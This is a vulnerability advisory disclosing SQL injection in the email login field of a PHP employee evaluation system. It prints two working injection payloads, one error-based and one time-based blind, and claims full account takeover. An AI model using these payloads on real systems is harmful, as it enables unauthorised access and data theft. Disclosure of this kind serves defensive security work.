Employee Performance Evaluation System 1.0 SQL Injection

2022.03.13
Credit: nu11secur1ty
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

## Title: Employee Performance Evaluation v1.0 SQLi ## Author: nu11secur1ty ## Date: 03.11.2022 ## Vendor: https://www.sourcecodester.com/users/tips23 ## Software: https://www.sourcecodester.com/php/14617/employee-performance-evaluation-system-phpmysqli-source-code.html ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Employee-Performance-Evaluation ## Description: The `email` parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the email parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present. The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system. Status: CRITICAL [+] Payloads: ```mysql --- Parameter: email (POST) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: email=YgGZcTAx@sourcecodester.com' AND (SELECT 6536 FROM(SELECT COUNT(*),CONCAT(0x71786a7071,(SELECT (ELT(6536=6536,1))),0x716a6a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- iQpA&password=hacked&login=0 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: email=YgGZcTAx@sourcecodester.com' AND (SELECT 2365 FROM (SELECT(SLEEP(5)))lFkz)-- xqup&password=hacked&login=0 --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/Employee-Performance-Evaluation) ## Proof and Exploit: [href](https://streamable.com/9q1tni)


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